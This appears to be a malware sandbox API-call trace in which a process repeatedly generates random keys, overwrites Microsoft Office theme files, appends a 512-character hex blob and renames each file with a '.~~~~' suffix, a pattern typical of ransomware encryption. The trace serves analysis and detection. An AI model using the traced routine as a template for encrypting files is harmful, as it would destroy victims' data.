	[0122.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5848 | out: hHeap=0x300000) returned 1
	[0122.407] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.407] GetLastError () returned 0x0
	[0122.407] GetLastError () returned 0x0
	[0122.407] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.407] GetLastError () returned 0x0
	[0122.407] GetLastError () returned 0x0
	[0122.410] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffc40, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.410] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x3c0, lpOverlapped=0x0) returned 1
	[0122.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.411] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.411] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.412] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.412] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.412] CloseHandle (hObject=0x128) returned 1
	[0122.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390710
	[0122.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.~~~~")) returned 1
	[0122.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390710 | out: hHeap=0x300000) returned 1
	[0122.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.413] GetLastError () returned 0x0
	[0122.414] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.415] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.415] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.415] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24240562527) returned 1
	[0122.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb26f4a30, dwHighDateTime=0x1d60e1e)) 
	[0122.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281eca0
	[0122.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281eca0 | out: hHeap=0x300000) returned 1
	[0122.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5a40
	[0122.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5a40 | out: hHeap=0x300000) returned 1
	[0122.416] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.417] GetLastError () returned 0x0
	[0122.417] GetLastError () returned 0x0
	[0122.417] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.417] GetLastError () returned 0x0
	[0122.417] GetLastError () returned 0x0
	[0122.419] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffc3d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.419] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3c3, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x3c3, lpOverlapped=0x0) returned 1
	[0122.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.421] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.421] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.422] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.422] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.422] CloseHandle (hObject=0x128) returned 1
	[0122.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38ffe0
	[0122.423] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.~~~~")) returned 1
	[0122.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ffe0 | out: hHeap=0x300000) returned 1
	[0122.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.424] GetLastError () returned 0x0
	[0122.429] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.433] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.433] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.433] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24242308464) returned 1
	[0122.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb271ab90, dwHighDateTime=0x1d60e1e)) 
	[0122.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7ed8
	[0122.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7ed8 | out: hHeap=0x300000) returned 1
	[0122.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5a40
	[0122.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5a40 | out: hHeap=0x300000) returned 1
	[0122.434] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.434] GetLastError () returned 0x0
	[0122.435] GetLastError () returned 0x0
	[0122.435] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.435] GetLastError () returned 0x0
	[0122.435] GetLastError () returned 0x0
	[0122.516] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffad9f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.516] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x5261, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x5261, lpOverlapped=0x0) returned 1
	[0122.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.586] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.586] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.601] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.601] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.601] CloseHandle (hObject=0x128) returned 1
	[0122.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.602] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.~~~~")) returned 1
	[0122.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.603] GetLastError () returned 0x0
	[0122.604] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.605] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.605] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.605] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24259535291) returned 1
	[0122.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb28bdab0, dwHighDateTime=0x1d60e1e)) 
	[0122.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ed10
	[0122.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ed10 | out: hHeap=0x300000) returned 1
	[0122.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.606] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.606] GetLastError () returned 0x0
	[0122.607] GetLastError () returned 0x0
	[0122.607] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.607] GetLastError () returned 0x0
	[0122.607] GetLastError () returned 0x0
	[0122.611] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9fdd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.611] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x6023, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x6023, lpOverlapped=0x0) returned 1
	[0122.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.612] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.612] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.613] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.613] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.613] CloseHandle (hObject=0x128) returned 1
	[0122.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b96d0
	[0122.613] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.~~~~")) returned 1
	[0122.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b96d0 | out: hHeap=0x300000) returned 1
	[0122.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.615] GetLastError () returned 0x0
	[0122.615] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.617] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.617] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.618] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24260776422) returned 1
	[0122.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb28e3c10, dwHighDateTime=0x1d60e1e)) 
	[0122.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ed48
	[0122.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ed48 | out: hHeap=0x300000) returned 1
	[0122.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.619] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.619] GetLastError () returned 0x0
	[0122.619] GetLastError () returned 0x0
	[0122.619] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.619] GetLastError () returned 0x0
	[0122.619] GetLastError () returned 0x0
	[0122.622] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc022, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.623] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3fde, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x3fde, lpOverlapped=0x0) returned 1
	[0122.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.625] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.625] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.625] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.625] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.625] CloseHandle (hObject=0x128) returned 1
	[0122.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.626] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.~~~~")) returned 1
	[0122.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.627] GetLastError () returned 0x0
	[0122.627] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.629] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.629] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.629] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24261960885) returned 1
	[0122.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2909d70, dwHighDateTime=0x1d60e1e)) 
	[0122.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ed80
	[0122.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ed80 | out: hHeap=0x300000) returned 1
	[0122.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
